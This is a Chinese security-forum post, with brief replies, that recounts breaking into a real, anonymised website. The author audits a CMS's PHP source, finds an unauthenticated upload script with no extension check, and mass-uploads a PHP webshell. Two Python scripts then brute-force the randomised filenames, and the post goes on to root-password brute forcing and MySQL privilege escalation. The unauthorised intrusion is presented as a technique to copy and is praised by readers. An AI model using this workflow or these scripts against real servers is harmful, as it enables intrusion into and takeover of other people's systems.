请选择 进入手机版 | 继续访问电脑版
查看: 1330|回复: 4

一次php代码审计+挖掘上传路径组合getshell

[复制链接]
  • TA的每日心情
    开心
    2017-10-1 06:59
  • 签到天数: 308 天

    [LV.8]以坛为家I

    发表于 2016-5-9 10:53:14 | 显示全部楼层 |阅读模式
    本帖最后由 sladjfksld 于 2016-5-9 11:13 编辑

    网站其实早拿下来了,不过一直比较忙没写过帖子。现在论坛的boss们下达了每月一篇稿的任务,我等屌丝不得不硬着头皮写了。。

    目标站:http://www.xxxx.com   php+iis7.5+windows2008

    目标站转了转,没有发现什么漏洞,用的cms也是个很小众的收费程序,网上搜了一下没有找到这个程序源码,遂放弃(其实也可以搜使用相同cms的网站,拿下一个后就可以down下源码分析了,不过这里我没搞这么麻烦)。

    查了下旁站,只有10来个,提权的可能性还是挺大的,便用自写的加强版挖掘鸡扫了一下,发现其中一个网站的程序备份,赶紧down下来,根据源码里的记录登录网站后台,看了下是个叫神马XXXX公司的程序,搜了一下用这程序的网站还挺多,后台比较简单,只有常见的信息发布功能。

    来到上传图片的地方,试了下常用的一些上传方法,均都不成功,根据返回结果推测后台脚本根据上传文件类型(有白名单限制)自定义文件后缀和文件名。


    01.jpg

    遂开始蛋疼而枯燥的代码审计,用法师的审计软件大致检查了一下,没有特别明显的getshell漏洞,便把精力放在了上传文件上面。为啥?因为经验!

    根据url地址找到处理上传文件脚本upload_intoform_flashpic.php,先看看url后缀,貌似上传路径filepath直接显示出来了。试了一下真的可以自定义上传路径,包括自定义.asp之类的路径。这要是iis6.0的服务器,就直接搞下来了,不过此站采用iis7.5,此路不通。


    02.jpg

    OK,我们打开upload_intoform_flashpic.php这个文件。先看看文件头,很遗憾的发现没有任何的身份验证。操了个蛋随便一个人都能不登录后台打开这个文件,结合iis6.0又是个杀器。。。所以为了不助长歪风邪气,这里就把所有敏感信息略去了

    [PHP] 纯文本查看 复制代码
    <?php 
    /** 
    * 
    * [url=home.php?mod=space&uid=11566]@Author[/url] xxxxxxxxxxxxx 
    * @date 2014年1月13日11:54:30 
    * @email [email]xxxxxx@126.com[/email] 
    * 
    */ 
    header('Content-type:text/html; charset=utf-8'); 
    //定义缩略图的宽高,下面会按这个尺寸生成
    $THUMB_WIDTH=$_REQUEST['usewidth'];
    $THUMB_HEIGHT=$_REQUEST['useheight'];
    $THUMB_SIZE=$_REQUEST['usesize'];
    $filepath=$_REQUEST['filepath'];
    $form_name=$_REQUEST['formname'];
    $savepath=$filepath;
    $editname=$_REQUEST['editname'];//编辑框的名称
    
    define('THUMB_WIDTH',$THUMB_WIDTH);  
    define('THUMB_HEIGHT',$THUMB_HEIGHT); 
    /** 
    * 重新生成上传的文件名 
    * @return string 
    * @author zhao jinhan 
    * 
    */
    function _file_type($filetype = null){//设定可以上传三种图片类型
    switch($filetype) 
    { 
    case "image/jpeg": 
    $fileextname = "jpg"; 
    break; 
    case "image/gif": 
    $fileextname = "gif"; 
    break; 
    case "image/png": 
    $fileextname = "png"; 
    break; 
    default: 
    $fileextname = false; 
    break; 
    } 
    return $fileextname?date('YmdHis',time()).'.'.$fileextname:false; 
    }  


    重点看这个函数_file_type(),代码验证了之前的推测,果然是根据文件类型自定义文件后缀,文件类型还有白名单限制,文件名根据日期时间随机生成。看到这段代码,反正我是没想到什么绕过的思路。

    [PHP] 纯文本查看 复制代码
    function _file_type($filetype = null){//设定可以上传三种图片类型
    switch($filetype) 
    { 
    case "image/jpeg": 
    $fileextname = "jpg"; 
    break; 
    case "image/gif": 
    $fileextname = "gif"; 
    break; 
    case "image/png": 
    $fileextname = "png"; 
    break; 
    default: 
    $fileextname = false; 
    break; 
    } 
    return $fileextname?date('YmdHis',time()).'.'.$fileextname:false; 
    } 


    再继续往下,看到这个函数MKFolder($savepath),果然是个可以自定义上传路径的函数。

    [PHP] 纯文本查看 复制代码
    function MkFolder($savepath){
     			if(!is_readable($savepath)){
        		MkFolder( dirname($savepath) );
        		if(!is_file($savepath)) mkdir($savepath,0777);
       		}
     }


    又看了下后面的上传处理代码,没有发现任何可以利用的漏洞(针对目标网站),so这个文件就到此为止了。

    在后台还发现几个upload_file*.php命名的文件,看了看,都跟upload_intoform_flashpic.php这个文件差不多,限制死了文件名和后缀。

    翻找的时候发现这个叫abc.php的文件,咋一看还以为是个木马文件,打开后发现也是个上传脚本。


    06.jpg

    abc.php文件代码如下,只是一个简单的上传页面,调用wend.php脚本处理,但是我把这个程序犯了个底朝天也没找到个叫wend.php的文件,无语+呵呵了。

    [PHP] 纯文本查看 复制代码
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>文件上传</title>
    </head>
    <body leftmargin="0" topmargin="0">
    <table cellpadding="2" cellspacing="1" border="0" height="100%" align="left">
      <form action='wend.php?action=upload'  method='post' enctype='multipart/form-data'>
        <tr >
          <td  valign='middle'><input type='file' name='uploadfile'>
            <input name='submit' type='submit' value='提交'></td>
        </tr>
      </form>
    </table>
    </body>
    </html>


    不过在程序的一个不起眼的角落发现一个upload_file.php的文件,这个文件有太多的漏洞,虽然没有被其他任何文件调用~~~~,我们先来看看这个文件内容。
    先看最后的上传处理部分。


    [PHP] 纯文本查看 复制代码
    if($upload_err==0){
        //将已上传的文件从临时目录移动到制定目录
        //生成新的文件名
        $targetfilename=$targetDir."\\".$new_file_name;
        //if(!move_uploaded_file($file_temp_name,$targetfilename))
    	if(!move_uploaded_file($file_temp_name,$targetfilename))
        {
            echo "文件上传失败!";
        }else
        {
            echo "文件上传成功!";
        }
    }else
    {
        echo getErr($upload_err);
    }
     
    ?> 


    根据代码找到$targetDir和$new_file_name变量生成的地方。

    在$targetDir变量生成的地方,可知程序先获取当前文件所在路径,然后加上一个固定的子路径”upload”,由此可知路径不可控。


    [PHP] 纯文本查看 复制代码
    $upload_dir="upload";  //上传的目录
    $currDir=getcwd();
     
    //如果制定的上传目录不存在 则创建目录
    $targetDir=$currDir."\\".$upload_dir;
    if(!file_exists($targetDir))
    {
        @mkdir($targetDir,"0777");
    }


    在$new_file_name变量生成的地方。继续回溯new_file_name()函数和$file_type变量

    [PHP] 纯文本查看 复制代码
    $new_file_name=new_file_name().$file_type;


    先看到new_file_name()函数,它返回一个$safecode存储的安全码,这个安全码由$new_date_str(当前日期)和$safecode(一个10位数字的随机数)组成,这个10位随机数字每一位都不重复。

    [PHP] 纯文本查看 复制代码
    function new_file_name(){
    $arr=range(0,9);
    shuffle($arr);
    $safecode="";
    foreach($arr as $values)
    {
    	$safecode=$safecode.$values;
    }
    date_default_timezone_set('Etc/GMT-8');     //这里设置了时区 echo
    ;
    $new_date_str=str_replace(" ","",str_replace(":","",str_replace("-","",date("Y-m-d h:m:s"))));//形成20141020的日期格式
    $safecode=$new_date_str.$safecode;
    return $safecode;
    }


    再看$file_type变量,可知$file_type直接取了上传文件的后缀名,没有任何验证,这就导致这个文件可以上传任意脚本。

    [PHP] 纯文本查看 复制代码
    $upload_err         =$_FILES["file"]["error"];  //获取文件上传的错误信息
    $file_source_name   =$_FILES["file"]["name"];   //原始文件名
    $file_temp_name     =$_FILES["file"]["tmp_name"];   //临时文件名
    $file_type          =$_FILES["file"]["type"];       //文件mime类型
    $file_size          =$_FILES["file"]["size"];       //文件大小\
    
    
    function get_extension($file){//获得文件的扩展名  如  jpg
    $newSt=".".substr(strrchr($file, '.'), 1);
    return $newSt;
    }
    $file_type=get_extension($file_source_name);


    但还有一个问题是,程序中没有任何一个脚本调用了这个文件,我们该怎么使用它呢?其实前面说到abc.php这个文件,相信会php的都已经知道方法了。Abc.php文件内容是个纯粹的html文件,文件的全部内容都会返回到浏览器本地。这里本地访问abc.php文件,然后审查元素,把form表单中的wend.php?action=upload替换为upload_file.php文件既可以调用了。

    13.jpg

    终于一切准备就绪了,我们上传。但是郁闷的事情又来了,上传之后找不到上传文件。。。看了一下upload_file.php文件,它最后只返回提示上传成功,并没有返回文件名。网站也没有目录解析/文件遍历漏洞,有个kindeditor编辑器,但是版本很新,也没什么漏洞,不能跨目录浏览。

    没有过多从其他旁站、C段入手,因为就单纯想搞搞代码。

    当时卡在这里很长时间,想了很多奇淫技巧,都没奏效。大概列在这里,供大家平时拿站的时候能多个思路:

    1.        我有后台管理权限,那么我通过前台发一个xss列目录代码,后台登录触发,是不是可以列出指定目录文件?然而事实是不可行,js是客户端脚本,列目录也只能列本地文件,在程序中也没有找到可以通过js操作网站文件的代码。

    2.        前面不是有个上传图片的脚本么upload_intoform_flashpic.php?那个脚本上传后返回文件路径,同时可以指定上传路径。那么我上传一个图片到这个目录,同时通过upload_file.php文件上传一个.htaccess文件,重写该目录下的解析规则。然而上传的.htaccess文件名被重命名了(就是那个日期+安全码组成的数字),又是无效。
    还有一些方法这里就不列出来了。

    整到最后还是想到了爆破上面,上传后的文件名是个日期+随机数组成的一串数字,其中日期和时间可以确定,不确定的就是10位的随机数。前面通过代码可知这10位随机数每一位都不重复,那么通过简单的高中数学算算10*9*8*7*6*5*4*3*2*1=3628800种组合。按照一般网页请求返回时间来算,大概要爆破10天左右时间,这么大声势的爆破,估计管理员早他妈发现了,肯定不能这样爆破的。

    网上查了一些资料,php是基于C语言开发,它的随机函数其实也是有规律可循,但需要知道服务端的时间和缺省设置,所以这个也就停留在理论层面想想了。

    如果能上传2个文件,那么需要爆破的次数就降低到1814400种,其他以此类堆,如果写个上传脚本批量上传,一个小时内最少能上传1万次,那么需要爆破的次数就只有362次了。

    把两个脚本文件down到本地环境测试。经过大量的上传最后确定,在同一小时内,最后10位随机数+2位秒数,其他数字都是确定的。因为不可能在同一秒内上传大量文件,所以秒数也要当成随机数,那么现在需要爆破的次数就达到3628800*60=217728000次,过2亿次了。。。。。。


    14.jpg

    都走到这一步,其他就不管了。写个批量上传脚本,前面那个upload_file.php文件也没有身份验证,所以可以在本地直接调用。这个脚本没有用多线程,主要是因为windows服务器一个卷的最大文件数是65535个,算上其他目录的文件,这个上传目录的文件最大4、5万个,再大就要崩了,单线程一个小时妥妥的搞定了。

    选了个夜深人静,网速欻欻快的时间,用一个完整小时跑了这个脚本,上传了35000多个文件。。。这样算下来平均跑6000次就可以碰到了


    [Python] 纯文本查看 复制代码
    import requests
    
    url = 'http://www.xxxxxx.com/xxxxxxxx/upload_file.php'
    files = {'file':open('xiaoma.php','rb')}
    data={'submit':'upload'}
    
    for i in range(1,50000):
        try:
            response=requests.post(url=url,files=files,data=data)
            if response.status_code == 200:
                print '上传成功'
            else:
                print '上传失败'
        except Exception as e:
            print '上传失败'


    再写个随机数生成脚本,结合url生成待检测url地址,比较简单这里就不贴出来了。最后要写一个url检测脚本,可设置多线程。我的运气比较好,跑了不到20分钟就搞定了~~~!@#

    [Python] 纯文本查看 复制代码
    import requests
    from threading import Thread,Lock
    from Queue import Queue
    
    def GetUrl():
        for url in open('url.txt'):
            queue.put(url.strip())
        print '共计%d个待检测链接' % queue.qsize()
    
    def CheckUrl():
        fout=open('good.txt','b')
        while True:
            url=queue.get()
            try:
                response=requests.get(url.strip())
                status_code=response.status_code
                mu.acquire()
                if status_code == 200:
                    print url.strip(),'存在'
                    print >>fout,url.strip()
                else:
                    print url.strip(),'不存在'
                mu.release()
            except Exception as e:
                mu.acquire()
                print url.strip(),'不存在'
                mu.release()
       fout.close()
    
    class myThread(Thread):
        def __init__(self):
            Thread.__init__(self)
        def run(self):
            CheckUrl()
    
    if __name__=="__main__":
        mu=Lock()
        queue=Queue()
        thpool=[]
        threadNum=int(raw_input('设置线程数:'))
        GetUrl()
        for i in range(threadNum):
            th=myThread()
            thpool.append(th)
        for th in thpool:
            th.daemon=True
            th.start()


    总体拿下shell大概就是上面列的那样,拿下shell后先赶紧删掉上传的文件。发现用的万网虚拟主机,权限不高,限制的也比较死,网管竟然就10几个网站也费这么大劲儿。没办法就用自写的一个root密码爆破脚本,放在服务端爆破,因为是在服务端所以爆破速度是很快的,只要密码字典够强大,root密码很快会有的。
    提权就是Mysql root提权,这里就不说了,到此为止吧。

    评分

    参与人数 1i币 +8 收起 理由
    90_ + 8 支持原创

    查看全部评分

    回复

    使用道具 举报

  • TA的每日心情

    2020-9-23 11:29
  • 签到天数: 903 天

    [LV.10]以坛为家III

    发表于 2016-5-9 11:22:37 | 显示全部楼层
    网管都被你们这群人日怕了
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2018-12-20 14:23
  • 签到天数: 84 天

    [LV.6]常住居民II

    发表于 2016-5-9 12:26:05 | 显示全部楼层
    我艹,要赶紧学代码审计了
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2017-1-6 00:53
  • 签到天数: 84 天

    [LV.6]常住居民II

    发表于 2016-5-19 15:09:00 | 显示全部楼层
    支持原创
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2017-3-24 23:02
  • 签到天数: 36 天

    [LV.5]常住居民I

    发表于 2016-5-19 18:38:04 | 显示全部楼层
    6666666,厉害!
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表